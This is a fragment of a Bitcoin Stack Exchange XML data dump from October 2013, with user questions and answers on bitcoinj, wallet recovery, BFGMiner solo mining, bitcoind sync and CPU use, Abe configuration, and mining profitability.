  <row Id="13647" PostTypeId="1" CreationDate="2013-10-08T12:10:47.480" Score="3" ViewCount="157" Body="&lt;p&gt;The bitcoinj library offers a rather convenient &lt;a href=&quot;http://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/kits/WalletAppKit.java?r=ee0b56180b1826313a22781fc652101a68ea7f17&quot; rel=&quot;nofollow&quot;&gt;WalletAppKit&lt;/a&gt; class, which I'd like to accept payments from customers. In order to facilitate the payments I'd offer the customers to send the transaction directly to me, instead of sending it to the Bitcoin Network and eventually reaching me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the simple example from WalletAppKit receives a payment that transfers some coins to one of its own wallets, does it announce the transaction to its peers and provides them with the transaction, or does the SPV protocol dictate that the node is a mere consumer of information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does not forward the transactions, what would be the required modifications to allow transaction forwarding?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-10-08T12:10:47.480" Title="Does a bitcoinj SPV node forward transactions for itself?" Tags="|bitcoinj|spv|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13648" PostTypeId="1" CreationDate="2013-10-08T14:28:48.080" Score="3" ViewCount="979" Body="&lt;p&gt;Suppose I need to buy/sell a preorder for Bitcoin mining equipment.  What is the safest approach (for both the buyer and seller) to conduct this transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it matter if this transaction is done over BTC vs Dollars?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming an escrow is needed, but not sure where to find such an arbitrator.  If multisig transactions are used, I'd like to see how this would be set up.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2016-03-10T10:59:42.123" LastActivityDate="2016-12-05T17:49:30.310" Title="How should I safely buy/sell a preorder for Bitcoin mining equipment?" Tags="|trading|multi-signature|chargeback|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13649" PostTypeId="1" CreationDate="2013-10-08T17:47:10.177" Score="2" ViewCount="898" Body="&lt;p&gt;Recently I have reinstalled Bitcoin qt because my HDD crashed. Fortunately I had a backup of my wallet.dat, but there is still one problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the installation I replaced the wallet.dat with my old wallet.dat. If I start Bitcoin qt now, I can not see any money in my wallet?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do now?&lt;/p&gt;&#xA;" OwnerUserId="7020" LastEditorUserId="7020" LastEditDate="2013-10-09T11:44:37.587" LastActivityDate="2013-10-09T12:29:25.607" Title="Lost my BTC, though my wallet is still available" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13650" PostTypeId="2" ParentId="13649" CreationDate="2013-10-08T19:50:41.320" Score="2" Body="&lt;p&gt;Are you also sure that you've let Bitcoin qt fully synchronise with the network? Very recently I moved across my wallet.dat to a new installation with no issues.&lt;/p&gt;&#xA;" OwnerUserId="5696" LastActivityDate="2013-10-08T19:50:41.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13651" PostTypeId="2" ParentId="13639" CreationDate="2013-10-08T23:07:27.547" Score="4" Body="&lt;p&gt;Miners are essentially putting a notary stamp on a batch of transactions.  That's all they are needed for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do you prevent from having a corrupt notary?  Bitcoin does this by having tens of thousands of potential notaries and one of them will happen to be the lucky one that gets to do the stamp.   The lucky one is the one who happens to solve the problem.   All the potential notaries try to solve the puzzle over and over, but it will take about ten minutes for one to become successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others will see the solution, and if it is valid, will continue on to the next puzzle.   This builds a chain of batches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to go back in history to change the batches of transactions requires having to redo all the problem solving attempts that occurred previously.  The further back you want to go, the more problem solving work you need to perform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the problem being solved is a system that makes it enormously expensive to change history.  That's the job that miners are paid to provide.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-10-08T23:07:27.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13652" PostTypeId="2" ParentId="13610" CreationDate="2013-10-08T23:12:17.833" Score="0" Body="&lt;p&gt;By requiring identity before giving out a Bitcoin address, you can help to reduce the chances that a payment will be made by an unknown party.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, if you are using a static address, like how many charities do, then you won't know who the party was that sent the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A related topic is the Bitcoin payment protocol (coming in Bitcoin v0.9) that is useful when issuing a payment request.  Depending on why you asked your question, that feature might be useful to you.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-10-08T23:12:17.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13653" PostTypeId="1" CreationDate="2013-10-08T23:15:21.043" Score="1" ViewCount="17579" Body="&lt;p&gt;I have started solo mining with BitcoinQt and BFGMiner on my Block Erupters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would first like to determine, if indeed I am doing this right, what I should see, and to make sure if on the rarest chance ever I find a block I actually get paid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can tell and my experience everything is spot on except for this long-poll stuff, do I need to tell BitcoinQt to poll &quot;better&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitcoinQt .conf file (started with -server)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcuser=User&#xA;rpcpassword=Pass&#xA;rpcallowip=*&#xA;rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BFGMiner Arguments&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;F:\PATH\bfgminer.exe -G &#xA;-o http://localhost:8332 &#xA;-u User&#xA;-p Pass&#xA;--coinbase-addr 14tdCy1xBk78nVGQj26YCMPRBWiZSpvpiJ &#xA;-S all --icarus-options 115200:1:1 --icarus-timing 3.0=100 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;14tdCy1xBk78nVGQj26YCMPRBWiZSpvpiJ&lt;/code&gt; being one of the recieve addresses in my BitcoinQt wallet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BFGMiner Screen after about 5 mins:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RNbA6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2017-12-05T17:43:07.423" Title="BFGMiner, what will be displayed when solo mining?" Tags="|solo-mining|bfgminer|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13655" PostTypeId="2" ParentId="13653" CreationDate="2013-10-09T02:39:38.827" Score="2" Body="&lt;p&gt;&lt;strong&gt;It could be bitcoind:&lt;/strong&gt; Long Polling is enabled on BFGMiner by default (at least on *NIX), as it's rather useful for pooled mining. But &lt;a href=&quot;https://bitcointalk.org/index.php?topic=111950.0&quot; rel=&quot;nofollow&quot;&gt;bitcoind seems to not support it yet&lt;/a&gt;, so you'll need to disable it. That can be done with switch&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--no-longpoll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you might try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--no-getwork&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And/or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--no-gbt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It could be a driver:&lt;/strong&gt; The Block Erupter COM can be downloaded &lt;a href=&quot;http://www.silabs.com/products/mcu/Pages/USBtoUARTBridgeVCPDrivers.aspx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It cold be your .conf:&lt;/strong&gt; I don't see why you're using the &lt;em&gt;-G&lt;/em&gt; switch. You aren't GPU mining. I also don't even see &lt;em&gt;--icarus-options 115200:1:1&lt;/em&gt;, or &lt;em&gt;--icarus-timing 3.0=100&lt;/em&gt; as applicable options as per &lt;a href=&quot;https://github.com/luke-jr/bfgminer/blob/bfgminer/README&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; GitHub readme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It could be permissions:&lt;/strong&gt; If none of that helps, the documentation says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To use ASICs or FPGAs, you will need to be sure the user BFGMiner is running as&#xA;  has appropriate permissions. This varies by operating system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This was mentioned specifically toward Gentoo and Ubuntu, but it might apply to Windows as well. You might need to run BFG as Administrator. (My Windows experience is lacking though, so I'm not sure.)&lt;/p&gt;&#xA;" OwnerUserId="2734" LastEditorUserId="2734" LastEditDate="2013-10-09T03:25:39.203" LastActivityDate="2013-10-09T03:25:39.203" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13656" PostTypeId="1" CreationDate="2013-10-09T05:48:02.530" Score="0" ViewCount="52" Body="&lt;p&gt;I am trying to set up the bitcoin rpc login but I cant seem to find the bitcoin.conf file on the windows 8 file system ive looked under myusername/roaming/bitcoin no file there or anywhere else I have looked anyone else have any idea? thanks!! ill continue looking thanks ahead of time :)&lt;/p&gt;&#xA;" OwnerUserId="6351" LastActivityDate="2013-10-09T05:48:02.530" Title="Bitcoin Conf file missing windows 8" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="5" ClosedDate="2013-10-18T12:36:51.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="13657" PostTypeId="2" ParentId="13648" CreationDate="2013-10-09T06:36:40.850" Score="1" Body="&lt;p&gt;They do it all the time over at the 'Group Buys' section of the bitcointalk forum. Have a look at how they have theirs arranged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?board=137.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?board=137.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7024" LastActivityDate="2013-10-09T06:36:40.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13659" PostTypeId="2" ParentId="13649" CreationDate="2013-10-09T12:29:25.607" Score="2" Body="&lt;p&gt;Check your wallet address against blockchain.info. verify there are no erroneous transactions / that your using theright wallet.dat file&lt;/p&gt;&#xA;" OwnerUserId="7028" LastActivityDate="2013-10-09T12:29:25.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13660" PostTypeId="2" ParentId="8196" CreationDate="2013-10-09T14:38:41.597" Score="2" Body="&lt;p&gt;The market prices bitcoins, just as anything else (on a free market) according to supply and demand. Supply and demand is prices (expressed in any other good) and amounts. Example 10 bitcoins for USD 140 and 20 bitcoins for USD 139. That is, the lower the price a buyer can get, the more he is willing to buy. This is a value scale. All the users' value scales added together, is the universal value scale. Where the demand prices are higher than the supply prices, exchanges will take place and clear the market, after that new trades will occur when some individual's valuation changes. The price is the last trade. There is no defined value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins have no direct use value, only value for indirect exchange. The only reason to have some, is that others want them. Therefore it is money, since there is no use value, it is a very refined type of money. Since the supply is restricted, and they can be backed up, hidden and transferred in no time over the internet, I think the money qualities of bitcoin are extremely good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The supply is fixed in the long run, any further supply is known in advance, and is therefore already priced in. The demand comes from the actors' preferences in their minds. If someone thinks it is a good inflation hedge, he wants to have more than just what is needed to do commerce. This is also called reservation demand, just like a car seller may want to keep a car over some time if he can not immediately get the price he wants. Since all demand pairs are added together, the number of people knowing and using bitcoins is a crucial parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr It is impossible to know exactly, as the value comes from the minds of the thousands of users, but we (the current users) think that the number of users will expand and therefore the price will rise.&lt;/p&gt;&#xA;" OwnerUserId="7029" LastActivityDate="2013-10-09T14:38:41.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13661" PostTypeId="2" ParentId="5876" CreationDate="2013-10-09T16:31:11.877" Score="6" Body="&lt;p&gt;Just run &lt;code&gt;./bitcoind -reindex&lt;/code&gt; and this will fix your problem. &lt;/p&gt;&#xA;" OwnerUserId="4725" LastActivityDate="2013-10-09T16:31:11.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13662" PostTypeId="2" ParentId="7640" CreationDate="2013-10-09T16:35:13.910" Score="4" Body="&lt;p&gt;Just run &lt;code&gt;./bitcoind -reindex&lt;/code&gt; and this will fix your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-rescan&lt;/code&gt; is for missing wallet transactions&lt;/p&gt;&#xA;" OwnerUserId="4725" LastActivityDate="2013-10-09T16:35:13.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13663" PostTypeId="2" ParentId="9015" CreationDate="2013-10-09T18:03:46.960" Score="1" Body="&lt;p&gt;Yes, there are tons of opportunities, especially when you do &lt;a href=&quot;http://en.wikipedia.org/wiki/Triangular_arbitrage&quot; rel=&quot;nofollow&quot;&gt;tri-currency&lt;/a&gt; arbitrage, for example check out the &lt;a href=&quot;http://bitdango.com/arbitrage/reports&quot; rel=&quot;nofollow&quot;&gt;Bitdango arbitrage reports&lt;/a&gt;. These break down the buying of bitcoin on one market and selling on another. The hard part is moving the fiat money back to your source bank account. That is very hard because you need to have local currency bank accounts in different countries, etc - so that's the nut to crack.&lt;/p&gt;&#xA;" OwnerUserId="6885" LastActivityDate="2013-10-09T18:03:46.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13665" PostTypeId="1" AcceptedAnswerId="13666" CreationDate="2013-10-09T19:02:11.260" Score="2" ViewCount="3381" Body="&lt;p&gt;Basically I'm trying to keep a wallet on linux along with the RPC service so I can receive coins and poll the server periodically for transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying with both 0.8.1 and 0.8.5 and CPU usage is at 100%, running this on amazon and I get the same even with the xlarge EC2 instance. This has been going on for over 24 hours, had to force reboot the instance to be able to reconnect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not even set to generate coins. gen=0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I'd like to know if this is permanent, or a bug, or something I'm doing wrong? Or maybe it just takes a while to &quot;sync&quot; or whatever its doing then it will go back to &quot;normal&quot; and by normal I mean any level of CPU usage that isn't in the range of WTF and OMG.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also tried sending myself some 0.01-0.05 btcs and they never made it. Maybe it takes a while to show up? Although blockchain says said transactions have over 100 confirmations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="7034" LastEditorUserId="5406" LastEditDate="2013-10-09T21:49:27.310" LastActivityDate="2014-02-28T21:53:01.340" Title="Bitcoind (linux) CPU usage through the roof" Tags="|bitcoind|json-rpc|synchronization|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13666" PostTypeId="2" ParentId="13665" CreationDate="2013-10-09T19:14:55.650" Score="3" Body="&lt;p&gt;From the description you are giving it sounds like you haven't yet synchronized with the network. Before you can start doing anything useful, e.g., see your current balance, the bitcoind client downloads the entire blockchain and verifies it. This may take quite some time and will likely keep your CPU busy until its done. You can check the progress of the synchronization by issuing a &lt;code&gt;bitcoind getinfo&lt;/code&gt; and checking the blockchain height with blockchain.info or similar site.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-10-09T19:14:55.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13667" PostTypeId="5" CreationDate="2013-10-09T20:17:43.077" Score="0" Body="&lt;p&gt;Digital signatures are used in Bitcoin to prove that a transaction is allowed to spend from a given output. Bitcoin uses the Elliptic Curve Digital Signature Algorithm over the secp256k1 curve for producing signatures. The message that a private key signs and is used for validation is the hash of a special version of the transaction.&lt;/p&gt;&#xA;" OwnerUserId="6321" LastEditorUserId="48884" LastEditDate="2017-10-20T23:51:59.390" LastActivityDate="2017-10-20T23:51:59.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13668" PostTypeId="4" CreationDate="2013-10-09T20:17:43.077" Score="0" Body="A digital signature proves that the owner of a private key produced or endorsed a given message. These are used in transactions to prove that an output can be spent in a transaction." OwnerUserId="6321" LastEditorUserId="13866" LastEditDate="2023-05-11T13:06:47.080" LastActivityDate="2023-05-11T13:06:47.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13669" PostTypeId="1" CreationDate="2013-10-10T00:17:21.717" Score="0" ViewCount="4969" Body="&lt;p&gt;I noticed today on Bitminter that the CDF is over 99% and the block session has been running for almost 12 hours now. what causes such a high CDF and is there anything that can be done about it?&lt;/p&gt;&#xA;" OwnerUserId="6838" LastEditorUserId="5406" LastEditDate="2016-03-16T10:47:09.380" LastActivityDate="2018-01-24T16:11:21.523" Title="what should I do when CDF is really high?" Tags="|mining-profitability|mining-theory|terminology|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13670" PostTypeId="1" AcceptedAnswerId="13674" CreationDate="2013-10-10T00:32:32.760" Score="8" ViewCount="8719" Body="&lt;p&gt;With more and more people picking up advanced ASIC miners, the difficulty is going up while the remaining coins are going down. If miners continue joining at this or a faster rate, the limit might be reached much sooner than originally expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I worry about purchasing any mining equipment because I don't want to have a $2,000 investment that can not recoup its cost within say, 10 years - or at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;So is it even worth buying newer mining equipment, or is it better to stick with whatever is around?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;UPDATE:&lt;/code&gt; To clarify, I'm not asking about how an ASIC mining rig can be reused. I am well aware that it has a single purpose and cannot be reused. I'm asking if it is even worth spending a lot of money on such a thing.&lt;/p&gt;&#xA;" OwnerUserId="6838" LastEditorUserId="5406" LastEditDate="2016-03-07T21:25:35.593" LastActivityDate="2017-12-12T20:52:44.667" Title="Will expensive mining equipement have any worth in the future?" Tags="|difficulty|mining-profitability|mining-hardware|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13671" PostTypeId="2" ParentId="13670" CreationDate="2013-10-10T00:43:06.517" Score="0" Body="&lt;p&gt;The ASIC chips are designed specifically for the work needed for Bitcoin mining (SHA256 midstate).  There's no commercial need for this anywhere else.  There's no secondary market for used ASIC mining hardware other than for re-use in Bitcoin mining.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-10-10T00:43:06.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13672" PostTypeId="2" ParentId="9015" CreationDate="2013-10-10T01:09:38.860" Score="1" Body="&lt;p&gt;Yes. But over time third-party arbitrage tends to be pushed out by arbitrage performed by the exchanges themselves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially the arbitrage margin goes down as the exchanges buy and sell between each other. If a third-party bought and sold enough coins for decent arbitrage profit margins - it becomes an exchange by virtue of sheer volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This price convergence will be faster for Bitcoins than for physical commodities, as transport of the &quot;commodity&quot; is trivial and no tariffs or trade barriers exist on the flow of Bitcoins. Indeed, most currency arbitrage relies on extremely large volumes, &lt;a href=&quot;http://www.businessweek.com/articles/2012-03-29/trading-at-the-speed-of-light&quot; rel=&quot;nofollow&quot;&gt;extremely fast market transactions&lt;/a&gt;; and slight congestion/friction in the global market. &lt;/p&gt;&#xA;" OwnerUserId="6679" LastActivityDate="2013-10-10T01:09:38.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13673" PostTypeId="2" ParentId="13670" CreationDate="2013-10-10T01:40:18.930" Score="1" Body="&lt;p&gt;ASICs will depreciate &lt;em&gt;very&lt;/em&gt; quickly unless a mining cartel decides to lock out new ASIC development. To some extent, if more efficient ASICs start costing more than any single person can afford, then existing cartels already have a leg up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your ASIC didn't depreciate (Merlin magically updates it for free), they still are only worth buying if you have access to very cheap electricity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you assume that Bitcoins will stick around and also assume there might be a period of expensive electricity between reduced oil supply (anyone's guess) and when fusion reactors come online (roll some dice), then any Bitcoins mined before that period are worth more during that period - as Bitcoins are an indirect form of the &lt;a href=&quot;http://tvtropes.org/pmwiki/pmwiki.php/Main/EnergyEconomy&quot; rel=&quot;nofollow&quot;&gt;Hydrogen Economy&lt;/a&gt;*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt; * Unfortunately term 'Hydrogen Economy' has been clouded by the fact that such an energy currency can be put directly in a car's gas tank; and so the original &lt;a href=&quot;http://www.roperld.com/science/CurrencySystems.htm&quot; rel=&quot;nofollow&quot;&gt;futurology-driven&lt;/a&gt; term has been co-opted by people in the separate fossil fuel debate with a 20th century axe to grind. The &lt;a href=&quot;http://en.wikipedia.org/wiki/Hydrogen_economy&quot; rel=&quot;nofollow&quot;&gt;Wikipedia article&lt;/a&gt; barely touches on the fundamentals of an energy currency.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="6679" LastEditorUserId="6679" LastEditDate="2013-10-10T01:52:05.610" LastActivityDate="2013-10-10T01:52:05.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13674" PostTypeId="2" ParentId="13670" CreationDate="2013-10-10T03:30:18.190" Score="8" Body="&lt;p&gt;TL;DR. Bitcoin profitability is about choosing between buying BTC outright (Coinbase, or Bitstamp) or buying hardware ASIC miners and paying the ongoing electrical fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;To keep mining expenses low, you will need the cheapest form of electricity.  This usually means coal in most regions. &quot;Clean coal&quot; doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;10 years from now is a long time, and you should &lt;a href=&quot;https://bitcoin.stackexchange.com/q/13419/1878&quot;&gt;expect additional transaction fees&lt;/a&gt; by then, plus many more (different) incentives to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of late summer 2013 the ASIC market is saturated in my opinion, and the difficulty spikes will continue to reach into 2014.  That means &lt;strong&gt;the value of BTC must appreciate&lt;/strong&gt; for most people on the network to get an ROI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either one or more of these things will happen:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;People will mine coins, pay a lot for electricity, for years to come just to get a ROI&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sell the machine at a loss, invest in Bitcoin&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;People who buy Bitcoin will cause the price to increase, thus making mining profitable&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mining companies will go out of business (or sell a different product) and whatever ASICs are made now will be the only ones in the game for a while.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume that the network hashrate (competition) is so high that in order to make a profit, miner #1 has to mine for 2 years and also wait for the BTC to be valued over 900 USD. (&lt;strong&gt;Note:&lt;/strong&gt; BTC hit $1000 per coin on 11-27-13)  After a lot of time and expense (not to mention heat, noise, and an angry wife) he cuts even.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now assume that in the same time period, person 2 buys BTC at the current Mt Gox rate: $140.  (Two thousand dollars worth of coins).  The price of BTC only has to increase for him to make a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why are people buying mining machines when buying Bitcoin outright is lower risk and a better reward?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The answer is so they can ride the next mining wave... more on this in a second&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Good News&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you already purchased the miner, you should be fine &lt;em&gt;if&lt;/em&gt; the market figures out that buying Bitcoins is &quot;safer&quot; than mining, and has a better chance at making a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once buying BTC becomes as popular as mining is today, then the price will increase.  If the price increases, demand for ASICs will increase as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is about riding the wave of either buying BTC outright or buying miners.  Each action perpetuates the other, so I'll bet the &lt;code&gt;mining storm of 2013&lt;/code&gt; will cause BTC to rise and everything will be alright in the end.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2017-12-12T20:52:44.667" LastActivityDate="2017-12-12T20:52:44.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13675" PostTypeId="1" CreationDate="2013-10-10T03:52:34.980" Score="0" ViewCount="1160" Body="&lt;p&gt;After getting abe set up and running, I tried querying it, eg: &lt;code&gt;...:2750/chain/Bitcoin&lt;/code&gt; .. but looking at the abe output, I notice every page load - abe was opening the blk00000.dat  file rather than using MySQL [which I have configured abe to use].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My abe.conf looks like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dbtype MySQLdb&#xA;connect-args {&quot;user&quot;:&quot;test&quot;,&quot;db&quot;:&quot;abe&quot;,&quot;passwd&quot;:&quot;test&quot;}&#xA;upgrade&#xA;port 2750&#xA;host localhost&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have checked the 'abe' MySQL database and the data is in there, I am just unable to figure out why abe isn't querying that and instead opening the blk00000.dat file. . . which is making every request I make to abe unbearably slow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is:&#xA;How to make Abe query MySQL instead of reading from the bitcoin block.dat for each request ?&lt;/p&gt;&#xA;" OwnerUserId="4725" LastEditorUserId="4725" LastEditDate="2013-10-10T03:58:55.240" LastActivityDate="2013-10-23T02:48:37.193" Title="How to make Abe query MySQL instead of reading from the bitcoin block.dat for each request?" Tags="|transactions|blockchain|bitcoind|abe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13677" PostTypeId="2" ParentId="13665" CreationDate="2013-10-10T06:22:12.580" Score="0" Body="&lt;p&gt;Change ~/.bitcoin/bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;daemon=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;daemon=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And use this utility &lt;a href=&quot;http://cpulimit.sourceforge.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cpulimit&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cpulimit -l 10 bitcoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you set bitcoind to use no more than 10% of CPU:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cpulimit -h&#xA;CPUlimit version 1.7&#xA;Usage: cpulimit TARGET [OPTIONS...]&#xA;   TARGET must be exactly one of these:&#xA;      -p, --pid=N        pid of the process&#xA;      -e, --exe=FILE     name of the executable program file&#xA;                         The -e option only works when&#xA;                         cpulimit is run with admin rights.&#xA;      -P, --path=PATH    absolute path name of the&#xA;                         executable program file&#xA;   OPTIONS&#xA;      -b  --background   run in background&#xA;      -c  --cpu=N        override the detection of CPUs on the machine.&#xA;      -l, --limit=N      percentage of cpu allowed from 1 up.&#xA;                         Usually 1 - 400, but can be higher&#xA;                         on multi-core CPUs (mandatory)&#xA;      -v, --verbose      show control statistics&#xA;      -z, --lazy         exit if there is no suitable target process,&#xA;                         or if it dies&#xA;      -h, --help         display this help and exit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look at this question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/12510/what-are-the-alternatives-to-downloading-the-6gb-block-chain&quot;&gt;What are the alternatives to downloading the 6GB block chain?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6987" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-10-10T06:22:12.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
